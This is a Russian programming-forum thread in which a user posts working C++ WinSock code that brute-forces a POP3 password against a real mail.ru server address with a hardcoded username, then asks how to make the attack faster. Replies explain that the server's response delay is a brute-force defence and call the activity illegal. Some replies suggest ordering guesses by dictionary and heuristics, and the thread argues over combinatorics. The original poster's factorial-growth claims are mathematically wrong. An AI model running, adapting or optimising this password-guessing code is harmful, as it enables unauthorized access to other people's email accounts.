Модераторы: Daevaorn

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Тормоза с вызовом recv(), как оптимизировать код? С/C++ WinSock, медленная работа recv() 
V
    Опции темы
magesi
  Дата 20.5.2012, 04:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Привет всем!

Мой код на ideone: http://ideone.com/nVXIQ
Для поклонников Web-IDE, и приведу код в теме же чуть ниже, как только опишу суть своей проблемы и вопросы.

Основная проблема: ф-ция recv() работает очень медленно, работа recv() занимает несколько секунду на обработку результата. Я знаю, что recv() должен работать быстрее , а тем более с таким малым объемом информации.

Поэтому, давайте не будем сейчас тыкать в то, что код выглядет не пойми, как, что от C++ тут только юзается std::cout и string::append ( и что за чистый Си стиль? ), потому что суть не в этом...

А суть в том, что я не понимаю, почему в моем коде работет очень медленно именно recv() ф-ции, чем это обусловенно и как оптимизировать ее работу, чтобы не было таких тормозов.

Код - рабочий, если у Вас MS компилер смело компилите ( т.к. все-таки использую WinSock , а не Berkley Sockets ).

Спасибо заранее за помощь!

Собственно код:

Код

#include <iostream>
#include <ctime>
#include <WinSock2.h>

#pragma comment(lib, "Ws2_32.lib")

using namespace std;


static char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

const int def_buf_size = 0x400;

const int pass_min = 6;
const int pass_max = 0x10;

static clock_t start = 0;
static clock_t end = 0;

static double elapsed = 0.0;
static unsigned long long count = 0;

static char ip[] = "94.100.184.76";
static u_short port = 110;

static WSAData data;
static SOCKADDR_IN addr;
static SOCKET sock;
static int result;
static char buffer[1024];
static char *tmp;
static char *pass = NULL;
static size_t found;


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex);
char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts);
void HandleString(char *string, int size);
void BytesSent(int size);
void WSAInit(void);


int MakeAttempt(int pos, int length, const char *dict, int *indexes, char *pass, unsigned long long *attempts, int maxIndex)
{
    int i = 0;
    int j = 0;

    for( ; i <= maxIndex; ++i)
    {
        indexes[pos] = i;

        if(pos == length - 1)
        {
            for(j = 0; j < length; ++j)
            {
                pass[j] = dict[indexes[j]];
            }

            ++*attempts;

            string tmp_brute = "pass ";
            tmp_brute.append(pass);
            tmp_brute.append("\r\n");

            WSAInit();

            result = connect(sock, (SOCKADDR*)&addr, sizeof(addr));

            if(result == SOCKET_ERROR)
            {
                cout << "Can't connect to: " << ip << ":" << port << endl << "WSA error ( connect() ): " << WSAGetLastError() << endl;
                result = closesocket(sock);

                if(result == SOCKET_ERROR)
                {
                    cout << endl << "WSA error ( closesocket() ): " << WSAGetLastError() << endl;
                    WSACleanup();
                }
            }
            else
            {
                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                cout << "Connected successfully to: " << ip << ":" << port << endl;

                tmp = "user olegorlov90\r\n";
                cout << endl << "Sending data(" << strlen(tmp) << "): " << tmp;
                BytesSent(send(sock, tmp, strlen(tmp), 0));

                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                const char *buf = tmp_brute.c_str();
                int len = strlen(tmp_brute.c_str());

                cout << "Sending data(" << len << "): " << buf;
                BytesSent(send(sock, buf, len, 0));

                result = recv(sock, buffer, def_buf_size, 0);
                tmp = buffer;
                HandleString(tmp, result);

                string err_code = "incorrect";
                string data = string(tmp);
                found = data.find(err_code);

                if(found != string::npos)
                {
                    closesocket(sock);
                    result = WSACleanup();
                }
                else
                {
                    return 1;
                }
            }
        }
        else
        {
            if(MakeAttempt(pos + 1, length, dict, indexes, pass, attempts, maxIndex))
            {
                return 1;
            }
        }
    }

    return 0;
}

char *BruteForce(int passmin, int passmax, const char *dict, unsigned long long *attempts)
{
    char *pass = (char*)malloc(passmax + 1);
    int *indexes = (int*)malloc(passmax * sizeof(int));
    int passLength = passmin;
    int maxIndex = strlen(dict) - 1;

    memset(pass, 0, passmax + 1);

    for(; passLength <= passmax; ++passLength)
    {
        if(MakeAttempt(0, passLength, dict, indexes, pass, attempts, maxIndex))
        {
            goto cleanup;
        }
    }

    free(pass);
    pass = NULL;

cleanup:
    free(indexes);
    return pass;
}

void HandleString(char *string, int size)
{
    cout << endl << "Bytes received: " << size << endl << "Response from server: ";

    for(int i = 0; i < size; i++)
    {
        cout << string[i];
    }

    cout << endl;
}

void BytesSent(int size)
{
    cout << "Bytes sent: " << size << endl;
}

void WSAInit(void)
{
    result = WSAStartup(0x202, &data);

    addr.sin_addr.s_addr = inet_addr(ip);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);

    if(result != NO_ERROR)
    {
        cout << endl << "WSA startup failed with the error: " << result << endl;
    }
    else
    {
        cout << data.szDescription << " " << data.szSystemStatus << endl;
    }

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if(sock == INVALID_SOCKET)
    {
        cout << endl << "Socket init has failed with the error: " << WSAGetLastError() << endl;
        result = WSACleanup();
    }
    else
    {
        cout << endl << "Socket init has successfully!" << endl;
    }
}

int main(void)
{
    WSAInit();

    start = clock();

    cout << "Attempting to brute force..." << endl;

    if(pass = BruteForce(pass_min, pass_max, alphabet, &count))
    {
        cout << "The correct password is: " << pass << endl;
        free(pass);
    }

    end = clock();

    elapsed = ((double)(end - start)) / CLOCKS_PER_SEC;
    cout << "Time elapsed: " << elapsed << " seconds" << endl;

    if(elapsed >= 1)
    {
        cout << "Trys per second was: " << (count / elapsed) << endl;
    }

    return 0;
}

PM MAIL   Вверх
Alexey91
Дата 20.5.2012, 10:36 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 195
Регистрация: 18.9.2008

Репутация: нет
Всего: нет



Программу не запускал, не тестировал.

У тебя используются блокирующие сокеты (управление передается, только после завершения работы функции, в данном случае это recv).
Функция recv завершится после того, как заполнится ее буфер той длиной, который ты передал в качестве аргумента. А как долго он будет заполняться зависит от отклика сервера.

Серверы бывают быстрые и медленные по скорости обработки запросов. Но не один сервер, не станет отправлять сразу же ответы на целую кучу запросов, интервал по времени между которыми очень маленький.

Вполне возможно, что после того, как ты кучу раз передавал серверу логин и пароль, тебя он просто отрубает, и не шлет тебе ответа, или шлет через некоторое время, а функция recv его ожидает. И не передает управление пока не получит ответа. Поэтому работает долго.

Быстрее получать ответы от сервера, уже не зависит от твоей программы, а зависит от того насколько быстро хочет обрабатывать сервер твои запросы.
PM   Вверх
volatile
Дата 20.5.2012, 11:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Попытка взлома ящика:
Код

[email protected]


mail.ru видимо делает паузу, чтобы затруднить
Цитата(magesi @  20.5.2012,  04:03 Найти цитируемый пост)
BruteForce

и правильно делает.
PM MAIL   Вверх
magesi
  Дата 20.5.2012, 12:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(Alexey91 @  20.5.2012,  10:36 Найти цитируемый пост)
Вполне возможно, что после того, как ты кучу раз передавал серверу логин и пароль, тебя он просто отрубает, и не шлет тебе ответа, или шлет через некоторое время, а функция recv его ожидает. И не передает управление пока не получит ответа. Поэтому работает долго.

Нет. Он не обрубает работу по логам, нормально просит авторизацию , запрашивает пароль, ждет и выдает ответ "подходит или нет" данный пароль к юзеру ( кстати именно на этот финальный запрос приходится долго очень ждать ).

Но, я понял , спасибо большое Вам за развернутый и качественный ответ.

Цитата(volatile @  20.5.2012,  11:03 Найти цитируемый пост)
Попытка взлома ящика:

Это мой ящик smile Я же на себе и тестирую, поэтому это не взлом - взламывать свое.

А в коде, можно подставить: любой другой IP, другой ящик, а также пытаться взломать: переписав команды для IMAP и прочего по обработке данных от сервера.

Это сообщение отредактировал(а) magesi - 20.5.2012, 12:56
PM MAIL   Вверх
bsa
Дата 21.5.2012, 10:46 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 9185
Регистрация: 6.4.2006
Где: Москва, Россия

Репутация: 63
Всего: 196



magesi, все вменяемые реализации протоколов авторизации имеют задержку между приемом пароля и ответом. Если бы сервер отвечал сразу же, то он бы давно лежал под натиском хакеров.
PM   Вверх
magesi
  Дата 21.5.2012, 15:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(bsa @ 21.5.2012,  10:46)
magesi, все вменяемые реализации протоколов авторизации имеют задержку между приемом пароля и ответом. Если бы сервер отвечал сразу же, то он бы давно лежал под натиском хакеров.

Пардон, я в танке в этом плане smile

А были бы Вы любезны так помочь, указать еще ключевые моменты для дальнешего гугливания ключевых моментов по безопаснотям от метода перебора? smile

PS
Я сейчас улучшаю свой программу. Решил для перебора каждого пароля опред. разрядности ( 6 симв., 7, 8 etc ) выделять каждый поток.

Т.е., переборкой пароля 6-ю симв. занимается один поток, 7-ую - уже другой и тд

Мин. - 6 символов
Макс. - 22 символа

Т.е. 16 потоков будет, а я еще не подумал о всяких спец. символах в пароле smile !"№;%:?*()

И решил в каждом потоке с двух концов начинать переборку по словарю.

Что Вы думаете, насчет такой реализации?

Что задача bruteforce относится к NP-задачам, помню, но все равно интересно.

Большое спасибо!

Это сообщение отредактировал(а) magesi - 21.5.2012, 15:05
PM MAIL   Вверх
baldina
Дата 21.5.2012, 15:19 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(magesi @  20.5.2012,  12:45 Найти цитируемый пост)
это не взлом - взламывать свое

ты не своё взламываешь, а mail.ru. максимальная отмазка, что в данном случае ты не наносишь реальный вред, но законодательство все-равно нарушаешь.
Цитата

Деточкин нарушал закон. Но он порядочный честный человек

PM MAIL   Вверх
magesi
  Дата 21.5.2012, 15:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @  21.5.2012,  15:19 Найти цитируемый пост)
ты не своё взламываешь, а mail.ru.

своё на mail.ru , учитывая, что там у меня платный аккаунт

был бы более Вам благодарен за разрбор NP-задачи, спасибо заранее smile

PS
Потом bruteforce юридически можно рассматривать, как "забыл пароль к своему ящику, если он действительно мой", и большое кол-во попыток, юридических проволочек очень много и всегда можно интерпретировать по-разному.

Это сообщение отредактировал(а) magesi - 21.5.2012, 15:31
PM MAIL   Вверх
baldina
Дата 21.5.2012, 15:40 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(magesi @  21.5.2012,  15:03 Найти цитируемый пост)
bruteforce относится к NP-задачам

Цитата(magesi @  21.5.2012,  15:03 Найти цитируемый пост)
Мин. - 6 символов
Макс. - 22 символа
Т.е. 16 потоков будет

1. нужно сократить поле перебора, отбросив заведомо неподходящие варианты. правда в данном случае нет гарантии, что не отсеется верный пароль
2. среднее время подбора может быть улучшено, если сначала проверять более вероятные комбинации, но верхняя оценка останется той же. в простейшем случае думаю целесообразно случайно перемешать alphabet, т.к. пароли abcd не слишком вероятны

ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно
PM MAIL   Вверх
feodorv
Дата 21.5.2012, 16:26 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 11
Всего: 45



Цитата(baldina @  21.5.2012,  16:40 Найти цитируемый пост)
ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно 

Если я хоть что-то понимаю в безопасности, после очередной попытки залогинится с неверным паролем, mail.ru резко увеличит таймаут между попытками, а потом забанит IP атакующего...


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(feodorv @ 21.5.2012,  16:26)
Цитата(baldina @  21.5.2012,  16:40 Найти цитируемый пост)
ЗЫ: это только в фильмах пароли подбираются быстро, легко и красочно 

Если я хоть что-то понимаю в безопасности, после очередной попытки залогинится с неверным паролем, mail.ru резко увеличит таймаут между попытками, а потом забанит IP атакующего...

1). Я на ночь ставил, время отклика такое же, значит не увеличивали timeout.
2). IP до сих пор не забанен, а у меня статичный.
PM MAIL   Вверх
baldina
Дата 21.5.2012, 16:46 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



это если mail.ru понимает в безопасности  smile

Добавлено через 2 минуты и 13 секунд
имхо
грубой силой пароль можно подбирать очень долго, так что и без увеличения таймаута шансы невелики. а держать открытым соединение серверу дорого, он скорее подохнет от открытых сессий.

Добавлено через 2 минуты и 57 секунд
Цитата(magesi @  21.5.2012,  16:41 Найти цитируемый пост)
 Я на ночь ставил

подобрал?
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @  21.5.2012,  16:46 Найти цитируемый пост)
подобрал? 

Нет smile он до сих пор пашет, не подобрал еще smile логи большие зато, на много Мб smile

Это сообщение отредактировал(а) magesi - 21.5.2012, 23:32
PM MAIL   Вверх
baldina
Дата 21.5.2012, 16:55 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



4х буквенный хороший пароль на данном словаре это 3-6млн попыток, в зависимости от удачи. а поскольку число попыток с ростом длины пароля растет факториально...
хороший взломщик должен первым делом попробовать словарь+модификации, а брутфорс не подряд, а с использованием эвристик. хотя улучшение скорости с десяти тысяч лет скажем до года на практике ничего полезного не даст.
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 16:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @ 21.5.2012,  16:55)
4х буквенный хороший пароль на данном словаре это 3-6млн попыток, в зависимости от удачи. а поскольку число попыток с ростом длины пароля растет факториально...
хороший взломщик должен первым делом попробовать словарь+модификации, а брутфорс не подряд, а с использованием эвристик. хотя улучшение скорости с десяти тысяч лет скажем до года на практике ничего полезного не даст.

Придется на ДНК-компы переходить, которые сразу сгенерят все комбинации за раз smile
Правда изъять результат будет сложно из ДНК-компов ( их основная проблема ).

А ведь, если бы не это проблема, NP-задачи на DNA-PC щелкались бы только так.

Добавлено через 6 минут и 54 секунды
Цитата(baldina @  21.5.2012,  16:55 Найти цитируемый пост)
а поскольку число попыток с ростом длины пароля растет факториально...

факториальный рост или геомт. прогрессии? smile
PM MAIL   Вверх
feodorv
Дата 21.5.2012, 17:49 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 11
Всего: 45



Цитата(baldina @  21.5.2012,  17:46 Найти цитируемый пост)
это если mail.ru понимает в безопасности 

 smile 
Если админ не спит, то бан состоится. Разбаниться потом тяжело будет)))


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 18:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(feodorv @ 21.5.2012,  17:49)
Цитата(baldina @  21.5.2012,  17:46 Найти цитируемый пост)
это если mail.ru понимает в безопасности 

 smile 
Если админ не спит, то бан состоится. Разбаниться потом тяжело будет)))

бан не страшен
PM MAIL   Вверх
baldina
Дата 21.5.2012, 18:23 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 3433
Регистрация: 5.12.2007
Где: Москва

Репутация: 32
Всего: 101



Цитата(magesi @  21.5.2012,  16:57 Найти цитируемый пост)
факториальный рост или геомт. прогрессии?

Цитата

Число всех перестановок порядка n равно числу размещений из n по n, то есть факториалу

http://ru.wikipedia.org/wiki/%D0%9F%D0%B5%...%B2%D0%BA%D0%B0
PM MAIL   Вверх
magesi
  Дата 21.5.2012, 18:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(baldina @ 21.5.2012,  18:23)
Цитата(magesi @  21.5.2012,  16:57 Найти цитируемый пост)
факториальный рост или геомт. прогрессии?

Цитата

Число всех перестановок порядка n равно числу размещений из n по n, то есть факториалу

http://ru.wikipedia.org/wiki/%D0%9F%D0%B5%...%B2%D0%BA%D0%B0

А дело не совсем только в перестановках. Кол-во перестановок-то увеличивается за счет увеличения кол-во регистров в числе.

3 символа
4 символа
...
22 символа

И как, тогда можно обозначить такой рост? Ведь кол-во комбинаций зависит от кол-ва регистров ( причем тут надо учитывать, что это не просто число: двоичное, восьмеричное, десят. или шестн., а равное кол-ву символов в словаре, включая спец. символы, цифры, заглавные и мал. символы ( если еще не символы др. языка, того же русского ) ).

PS
Ведь можно так представить:

Что словарь двоичной системы исчисления - это [0 - 1]
oct - [00-07]
hex - [0x0 - 0xf]

и тд в таком стиле, ну думаю идею поняли smile

Это сообщение отредактировал(а) magesi - 21.5.2012, 18:51
PM MAIL   Вверх
bsa
Дата 21.5.2012, 20:14 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 9185
Регистрация: 6.4.2006
Где: Москва, Россия

Репутация: 63
Всего: 196



magesi, смотри. у тебя в алфавите, допустим, 95 символов (от 0x21 до 0x7f). Таким образом, тебе надо перебрать 95 комбинаций для пароля из одного символа. Пароль из 2-х символов потребует 95 повторов по 95, итого 95^2.... Пароль из 10 знаков требует 95^10 попыток!

Это сообщение отредактировал(а) bsa - 21.5.2012, 20:14
PM   Вверх
magesi
  Дата 21.5.2012, 20:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(bsa @ 21.5.2012,  20:14)
magesi, смотри. у тебя в алфавите, допустим, 95 символов (от 0x21 до 0x7f). Таким образом, тебе надо перебрать 95 комбинаций для пароля из одного символа. Пароль из 2-х символов потребует 95 повторов по 95, итого 95^2.... Пароль из 10 знаков требует 95^10 попыток!

А ничего, что пароли могут быть:

aaAAaa
aaaaaa
bbCCaa

aaaAAA
aaaaaa

Вы учли, что в комбинаторке одиноковые символы могут не учитываться ( тут нужно грамотно использовать число сочетаний и перестановок, чтобы не плодить лишнее кол-во комбинаций), я с такой проблемой сталкивался, когда алгоритм разбирал.

Это сообщение отредактировал(а) magesi - 21.5.2012, 20:57
PM MAIL   Вверх
bsa
Дата 21.5.2012, 23:05 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 9185
Регистрация: 6.4.2006
Где: Москва, Россия

Репутация: 63
Всего: 196



Цитата(magesi @  21.5.2012,  21:44 Найти цитируемый пост)
А ничего, что пароли могут быть
А ты исключаешь такую возможность?  smile 

PM   Вверх
magesi
  Дата 21.5.2012, 23:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(bsa @ 21.5.2012,  23:05)
Цитата(magesi @  21.5.2012,  21:44 Найти цитируемый пост)
А ничего, что пароли могут быть
А ты исключаешь такую возможность?  smile

Я не про то, что пароль может быть таким. А что формула, по которой Вы рассчитываете - неверна, потому что породите РЯД КОПИЙ таких паролей в комбинациях, и увеличите общее их количество, т.к. число перестановок не учитывает одинаковые символы, т.к. каждый символ - это отдельный объект, а число перестановок оперирует с кол-вом и не думает, что два объекта или три или более объектов могут быть одинаковыми при генерации новой комбинации пароля.

Вот , у Вас сгенерируется пароль: fffffffff и как Вы будете здесь с числом перестановок учитывать кол-во?

PS
Какой, все-таки, у нас рост ( логарифмический, факториальный, геом. прогрессии ) с увелечением каждого разряда словаря, мы не разобрались  smile 

Это сообщение отредактировал(а) magesi - 21.5.2012, 23:34
PM MAIL   Вверх
volatile
Дата 21.5.2012, 23:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Кто сказал перестановок?
Господа, там не перестановки. там степенная функция
(кол-во букв в алфавите) ^ (кол-во букв в пароле)

например
Цитата(magesi @  21.5.2012,  18:36 Найти цитируемый пост)
22 символа

Пусть пароль может состоять только из [a-zA-Z0-9]
кол-во букв в алфавите 26+26+10 = 62
Кол-во вариантов при 22 букве в пароле
62^22 = 2.70e39

----------
Теперь небольшое отступление, для оптимистов, перебирающих 22ух символьый пароль

Предположим маил.ру решил отказаться от любых задержек, и выделили персональныо вам 16G канал для брутфорса  smile 
то есть мы может перебирать миллиард паролей в секунду!

итого понадобится 2.70e39/1e9  = 2.7e30 секунд. = 
Это 8.5e22 лет

Короче если бы брутфорс маил.ру мы начали сразу с момента взрыва вселенной, то на данный момент мы бы еще не завершили даже 0,0000001% вариантов.

Желаю удачи в брут форсе 22 символов..
 smile  и долгих лет жизни вам! ... и вселенной smile

Добавлено через 4 минуты и 13 секунд
Цитата(magesi @  21.5.2012,  20:44 Найти цитируемый пост)
из 10 знаков требует 95^10 попыток!

Да, bsa, походу тоже самое говорил.

PM MAIL   Вверх
magesi
  Дата 22.5.2012, 00:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(volatile @  21.5.2012,  23:57 Найти цитируемый пост)
Кто сказал перестановок?Господа, там не перестановки. там степенная функция

Если, допустим, пароль из трех символов может состоять без цифр и регистра букв ( максимальная длина - 3 символа ):

abc
acb
bac
bca
cab
cba

Кол-во перестановок, насколько я помню, равно N! ( факториал ), кол-во перестановок для 3-ех символов: 1 * 2 * 3 = 6 , 3! = 6.

И где же, перестановки не нужны ( я просто привел крайне простой пример для наглядности )?

Цитата(volatile @  21.5.2012,  23:57 Найти цитируемый пост)
итого понадобится 2.70e39/1e9  = 2.7e30 секунд. = Это 8.5e22 лет

Я помню, что это NP-задача smile Еще выше писал

Это сообщение отредактировал(а) magesi - 22.5.2012, 01:41
PM MAIL   Вверх
volatile
Дата 22.5.2012, 00:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Цитата(magesi @  22.5.2012,  00:10 Найти цитируемый пост)
если допустим пароль из трех символов может состоять без цифр и регистра букв:
abc
acb
bac
bca
cab
cba
Кол-во перестановок, насколько я помню равно N! , 3-и символов только 1 * 2 * 3 = 6 , 3! = 6

пароль "из трех символов может состоять без цифр и регистра"

26^3 = 17576 вариантов.
(26 букв английского алфавита, без цифр и регистра, как вы выразились.)


Цитата(magesi @  22.5.2012,  00:10 Найти цитируемый пост)
Я помню, что это NP-задача  Еще выше писал 

Не важно что вы писали, важно что вы сделали.
Перебирать 22-ух символьный пароль, это даже не безумие, это нечно большее.
Пойдите лучше поищите на улице чемодан с миллиардом долларов.
Шансы найти его гораздо выше.
PM MAIL   Вверх
magesi
  Дата 22.5.2012, 00:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(volatile @  22.5.2012,  00:45 Найти цитируемый пост)
26^3 = 17576 вариантов.(26 букв английского алфавита, без цифр и регистра, как вы выразились.)

И кол-во перестановок учитывается ровно раз? Т.е. у Вас: [кол-во в словаре] ^ [кол-во разрядов] = ( итоговое кол-во символов )?

А теперь представьте , что есть спец. символы, строчные и заглавные буквы, цифры, и как тогда эти дополнительные условия Вы будете учитывать?

Цирфа - это НЕ символ, у нее нет строчной или заглавной буквы, как и спец. символов.

Я не думаю, что возведеление степень дает конечный результат, подумайте сами еще раз...

Строчные/заглавные буквы, цирфы, которые не могут быть строчными или заглавными, как и спецсимволы - должны участвовать в одной формуле.!

И Вы свято верите, что возведение в степень это все даст?

Ключевой момент генерации комбинаций , где ждет провал с таким подходом будет: как раз, свойство символов ( строч. и заглав. ) и цифры, которыми не могут быть такими, и как только возведение в степень здесь справится? Вы по-моему этот момент не учли...

И как Вы обойте генерацию лишных повторных комбанций паролей типа ( aaabbb ? )

Я вывел так: 
                                                                                           n = 1   2   3   4    5    6
Кол-во перестановок (n!)                                                           1   2   6   24  120 720
Кол-во регистров символов ( с учетом регистров ) (2^n - 2):      0   2   6   14  30   62


Цитата(volatile @  22.5.2012,  00:45 Найти цитируемый пост)
Не важно что вы писали, важно что вы сделали.Перебирать 22-ух символьный пароль, это даже не безумие, это нечно большее.Пойдите лучше поищите на улице чемодан с миллиардом долларов.Шансы найти его гораздо выше. 

Именно, NP-задчи тоже пытаются решать, и это не безумие просто смотря, где и как делать! Почитайте про опыт Шапиро и ДНК-вычисления, может "нечто большее" резко сменится на "нечто нормальное", да и как задача Коммивояжера рассчитывалась на ДНК-компе.

Поэтому, нет ничего не только преступного, как и глупого в том , как Вы выразились даже "пытаться"  smile 

Это сообщение отредактировал(а) magesi - 22.5.2012, 01:32
PM MAIL   Вверх
volatile
Дата 22.5.2012, 01:27 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Цитата(magesi @  22.5.2012,  00:57 Найти цитируемый пост)
Я не думаю, что возведеление степень дает конечный результат, подумайте сами еще раз...

Мне об этом думать не нужно, я уже это давно обдумал. (лет эдак 15 тому назад smile )

Цитата(magesi @  22.5.2012,  00:57 Найти цитируемый пост)

Поэтому, нет ничего не только преступного, как и глупого в том , как Вы выразились даже "пытаться

Извиняюсь, если обидел вас.
Нехотел обидеть.
Сорри. Ушел из темы.

PM MAIL   Вверх
magesi
  Дата 22.5.2012, 01:30 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



Цитата(volatile @  22.5.2012,  01:27 Найти цитируемый пост)
Извиняюсь, если обидел вас.Нехотел обидеть.Сорри. Ушел из темы. 

 smile 
Да меня-то Вы не обидели, я просто подход не люблю: "мол если NP, то можно не притрогаться"  smile 

Цитата(volatile @  22.5.2012,  01:27 Найти цитируемый пост)
(лет эдак 15 тому назад  )

97-ой, время dialup  smile , к сожеланию, я тогда не в bruteforcer играл, а в heroes :( лучше бы в 1-ое играл, но тогда мне было мало лет :(

PS
А сложность роста, в связи с увеличением кол-ва регистров, мы так и не обозначли :( какой же это именно рост...

Это сообщение отредактировал(а) magesi - 22.5.2012, 01:41
PM MAIL   Вверх
volatile
Дата 22.5.2012, 01:42 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 2107
Регистрация: 7.1.2011

Репутация: 37
Всего: 85



Цитата(magesi @  22.5.2012,  01:30 Найти цитируемый пост)
А сложность роста, в связи с увеличением кол-ва регистров, мы так и не обозначли :( какой же это именно рост...

Цитата(volatile @  21.5.2012,  23:57 Найти цитируемый пост)
(кол-во букв в алфавите) ^ (кол-во букв в пароле)

magesi, без вариантов.  smile 

PM MAIL   Вверх
magesi
  Дата 22.5.2012, 01:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 120
Регистрация: 20.5.2012

Репутация: -4
Всего: -4



